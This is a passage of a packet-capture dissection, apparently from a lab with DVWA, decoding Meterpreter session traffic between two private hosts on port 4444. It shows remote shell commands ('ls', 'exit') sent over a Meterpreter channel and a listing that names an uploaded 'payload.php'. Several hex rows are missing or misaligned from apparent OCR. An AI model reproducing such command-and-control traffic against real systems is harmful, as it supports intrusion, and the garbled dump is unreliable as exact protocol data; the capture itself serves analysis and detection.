Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 3142, Ack: 11271, Len: 111
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000006f [Command length]: 111
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f777269746500 [Value] core_channel_write
Meterpreter protocol, TLV details
   Data: 000000290001000230363230393031333132333232313634... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 303632303930313331323332323136343433393731323235... [Value] 06209013123221644397122555178742
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
   Data: 00000002 [Value] 2
Meterpreter protocol, TLV details
   Data: 0000000b000400346c73 [TLV]
   Command: 0x0000000b [Length]: 11
   Type: 0x00040034 [Type: Request]: TLV_TYPE_CHANNEL_DATA
   Data: 6c730a [Value] ls
Meterpreter protocol, TLV details
   Data: 0000000c00020019000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020019 [Type: Request]: TLV_TYPE_LENGTH
   Data: 00000003 [Value] 3
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 a3 2f 87 40 00 40 06 f4 bf 0a 00 01 05 0a 00
                                                      ../.@.@.....
...\...x40.....
0030 00 44 43 0c 00 00 01 01 08 0a 00 0a 80 d4 00 0e
                                                      .DC.....
0040 d6 e6 00 00 00 6f 00 00 00 00 00 00 00 1b 00 01
                                                      .....
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 77
                                                      ..core_channel_w
0060
     72 69 74 65 00 00 00 00 29 00 01 00 02 30 36 32
                                                      rite....)....062
0070 30 39 30 31 33 31 32 33 32 32 31 36 34 34 33 39
                                                      0901312322164439
0080 37 31 32 32 35 35 35 31 37 38 37 34 32 00 00 00
                                                      7122555178742...
0090 00 0c 00 02 00 32 00 00 00 02 00 00 00 0b 00 04
                                                      .....2......
00a0 00 34 6c 73 0a 00 00 00 0c 00 02 00 19 00 00 00
                                                      .41s.....
```

00b0 03

```
Frame 102: 166 bytes on wire (1328 bits), 166 bytes captured (1328 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 11271, Ack: 3253, Len: 100
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000064 [Command length]: 100
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f777269746500 [Value] core_channel_write
Meterpreter protocol, TLV details
   Data: 000000290001000230363230393031333132333232313634... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 303632303930313331323332323136343433393731323235... [Value] 06209013123221644397122555178742
Meterpreter protocol, TLV details
   Data: 0000000c00020019000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020019 [Type: Response]: TLV_TYPE_LENGTH
   Data: 00000003 [Value] 3
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                      ..'....'oz...E.
0010 00 98 0e d2 40 00 40 06 15 80 0a 00 01 0a 0a 00
                                                      ....@.@......
                                                      .....\....x4...
0030   0a fe 16 99 00 00 01 01 08 0a 00 0e d9 c4 00 0a
0040 80 d4 00 00 00 64 00 00 00 01 00 00 00 1b 00 01
                                                      .....d.......
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 77
                                                      ..core_channel_w
0060 72 69 74 65 00 00 00 00 29 00 01 00 02 30 36 32
                                                      rite....)....062
0070 30 39 30 31 33 31 32 33 32 32 31 36 34 34 33 39
                                                      0901312322164439
0080 37 31 32 32 35 35 35 31 37 38 37 34 32 00 00 00
                                                     7122555178742...
0090 00 0c 00 02 00 19 00 00 00 03 00 00 00 0c 00 02
```

00a0 00 04 00 00 00 00

Frame 103: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 3253, Ack: 11371, Len: 0

0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...'oz...'....E.

0010 00 34 2f 88 40 00 40 06 f5 2d 0a 00 01 05 0a 00 .4/.@.@..-.....

0020 01 0a 11 5c d9 d2 14 78 34 9f 06 18 cb 0c 80 10 ...\...x4......

0030 00 44 00 4e 00 00 01 01 08 0a 00 0a 80 d5 00 0e .D.N......

0040 d9 c4

```
Frame 104: 201 bytes on wire (1608 bits), 201 bytes captured (1608 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 11371, Ack: 3253, Len: 135
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000087 [Command length]: 135
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f777269746500 [Value] core_channel_write
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
   Data: 00000002 [Value] 2
Meterpreter protocol, TLV details
   Data: 0000002300040034647677615f656d61696c2e706e670a70... [TLV]
   Command: 0x00000023 [Length]: 35
   Type: 0x00040034 [Type: Request]: TLV_TYPE_CHANNEL_DATA
   Data: 647677615f656d61696c2e706e670a7061796c6f61642e70... [Value] dvwa_email.png
pavload.php
Meterpreter protocol, TLV details
   Data: 0000000c00020019000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020019 [Type: Request]: TLV_TYPE_LENGTH
   Data: 0000001b [Value] 27
Meterpreter protocol, TLV details
   Data: 0000002900010002766d626c6c6774766670787277686175... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 766d626c6c677476667078727768617574787a726773696c... [Value] vmbllgtvfpxrwhautxzrgsilrrwpxsbt
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                       ..'.....'oz...E.
0010 00 bb 0e d3 40 00 40 06 15 5c 0a 00 01 0a 0a 00
                                                        ....@.@..\.....
0020 01 05 d9 d2 11 5c 06 18 cb 0c 14 78 34 9f 80 18
                                                        .....\....x4...
0030  0a fe 16 bc 00 00 01 01 08 0a 00 0e d9 c5 00 0a
0040 80 d5 00 00 00 87 00 00 00 00 00 00 00 1b 00 01
0050
     00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 77
                                                        ..core_channel_w
0060 72 69 74 65 00 00 00 00 0c 00 02 00 32 00 00 00
                                                       rite....2...
0070 02 00 00 00 23 00 04 00 34 64 76 77 61 5f 65 6d
                                                        ....#...4dvwa em
0080 61 69 6c 2e 70 6e 67 0a 70 61 79 6c 6f 61 64 2e
                                                       ail.png.payload.
0090 70 68 70 0a 00 00 00 0c 00 02 00 19 00 00 00 1b
                                                        php.....
00a0 00 00 00 29 00 01 00 02 76 6d 62 6c 6c 67 74 76
                                                        ...)....vmbllgtv
00b0 66 70 78 72 77 68 61 75 74 78 7a 72 67 73 69 6c
                                                        fpxrwhautxzrgsil
```

rrwpxsbt.

00c0 72 72 77 70 78 73 62 74 00

Frame 105: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 3253, Ack: 11506, Len: 0

0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...'oz...'....E.

0010 00 34 2f 89 40 00 40 06 f5 2c 0a 00 01 05 0a 00 .4/.@.@..,.....

0020 01 0a 11 5c d9 d2 14 78 34 9f 06 18 cb 93 80 10 ...\...x4......

0030 00 47 ff c2 00 00 01 01 08 0a 00 0a 80 d5 00 0e .G......

0040 d9 c5

```
Frame 106: 179 bytes on wire (1432 bits), 179 bytes captured (1432 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 3253, Ack: 11506, Len: 113
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000071 [Command length]: 113
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f777269746500 [Value] core_channel_write
Meterpreter protocol, TLV details
   Data: 000000290001000230333534323239303531373032333532... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 30335343232393035313730323335323134363338373236... [Value] 03542290517023521463872649746514
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
   Data: 00000002 [Value] 2
Meterpreter protocol, TLV details
   Data: 0000000d0004003465786974 [TLV]
   Command: 0x0000000d [Length]: 13
   Type: 0x00040034 [Type: Request]: TLV_TYPE_CHANNEL_DATA
   Data: 657869740a [Value] exit
Meterpreter protocol, TLV details
   Data: 0000000c00020019000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020019 [Type: Request]: TLV_TYPE_LENGTH
   Data: 00000005 [Value] 5
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 a5 2f 8a 40 00 40 06 f4 ba 0a 00 01 05 0a 00
                                                      ../.@.@.....
                                                      ...\...x4.....
0030 00 47 d3 ca 00 00 01 01 08 0a 00 0a 86 4e 00 0e
                                                      .G.....N..
0040 d9 c5 00 00 00 71 00 00 00 00 00 00 00 1b 00 01
                                                      ....q......
                                                      ..core_channel_w
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 77
0060
     72 69 74 65 00 00 00 00 29 00 01 00 02 30 33 35
                                                      rite....)....035
0070 34 32 32 39 30 35 31 37 30 32 33 35 32 31 34 36
                                                      4229051702352146
0080 33 38 37 32 36 34 39 37 34 36 35 31 34 00 00 00
                                                      3872649746514...
0090 00 0c 00 02 00 32 00 00 00 02 00 00 00 0d 00 04
                                                      .....2......
```

.4exit.....

00a0 00 34 65 78 69 74 0a 00 00 00 0c 00 02 00 19 00

00b0 00 00 05

```
Frame 107: 166 bytes on wire (1328 bits), 166 bytes captured (1328 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 11506, Ack: 3366, Len: 100
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000064 [Command length]: 100
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f777269746500 [Value] core_channel_write
Meterpreter protocol, TLV details
   Data: 000000290001000230333534323239303531373032333532... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 30335343232393035313730323335323134363338373236... [Value] 03542290517023521463872649746514
Meterpreter protocol, TLV details
   Data: 0000000c00020019000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020019 [Type: Response]: TLV_TYPE_LENGTH
   Data: 00000005 [Value] 5
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                       ..'....'oz...E.
0010 00 98 0e d4 40 00 40 06 15 7e 0a 00 01 0a 0a 00
                                                       ....@.@..~....
                                                       ....\....x5...
0020 01 05 d9 d2 11 5c 06 18 cb 93 14 78 35 10 80 18
0030 Oa fe 16 99 00 00 01 01 08 0a 00 0e df 3e 00 0a
0040 86 4e 00 00 00 64 00 00 00 01 00 00 00 1b 00 01
                                                       .N...d......
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 77
                                                       ..core_channel_w
0060 72 69 74 65 00 00 00 00 29 00 01 00 02 30 33 35
                                                       rite....)....035
0070 34 32 32 39 30 35 31 37 30 32 33 35 32 31 34 36
                                                       4229051702352146
0080 33 38 37 32 36 34 39 37 34 36 35 31 34 00 00 00
                                                       3872649746514...
0090 00 0c 00 02 00 19 00 00 00 05 00 00 00 0c 00 02
                                                       00a0 00 04 00 00 00 00
```

Frame 108: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 3366, Ack: 11606, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...'oz...'....E.
0010 00 34 2f 8b 40 00 40 06 f5 2a 0a 00 01 05 0a 00 .4/.@.@..*.....
0020 01 0a 11 5c d9 d2 14 78 35 10 06 18 cb f7 80 10 ...\...x5.......
0030 00 47 f3 fb 00 00 01 01 08 0a 00 0a 86 4e 00 0e .G.......N.

0040 df 3e

```
Frame 109: 154 bytes on wire (1232 bits), 154 bytes captured (1232 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 11606, Ack: 3366, Len: 88
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000058 [Command length]: 88
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
   Data: 0000002900010002666466726b796d706f6b676c7268666c... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 666466726b796d706f6b676c7268666c6565636c786c776f... [Value] fdfrkympokglrhfleeclxlwocsealgtq
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
   Data: 00000002 [Value] 2
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                     ..'....'oz...E.
0010 00 8c 0e d5 40 00 40 06 15 89 0a 00 01 0a 0a 00
                                                      . . . . . @ . @ . . . . . . . . .
0020 01 05 d9 d2 11 5c 06 18 cb f7 14 78 35 10 80 18
                                                      ....\....x5...
0040 86 4e 00 00 00 58 00 00 00 00 00 00 00 1b 00 01
                                                      .N...X.....
                                                      ..core_channel_c
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 63
0060 6c 6f 73 65 00 00 00 00 29 00 01 00 02 66 64 66
                                                      lose....)....fdf
0070 72 6b 79 6d 70 6f 6b 67 6c 72 68 66 6c 65 65 63
                                                      rkvmpokglrhfleec
0080 6c 78 6c 77 6f 63 73 65 61 6c 67 74 71 00 00 00
                                                      lxlwocsealgtq...
```

....2....

0090 00 0c 00 02 00 32 00 00 00 02

Frame 110: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 3366, Ack: 11694, Len: 0

0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...'oz...'....E.

0010 00 34 2f 8c 40 00 40 06 f5 29 0a 00 01 05 0a 00 .4/.@.@..).....

0020 01 0a 11 5c d9 d2 14 78 35 10 06 18 cc 4f 80 10 ...\...x5....O..

0040 df 3e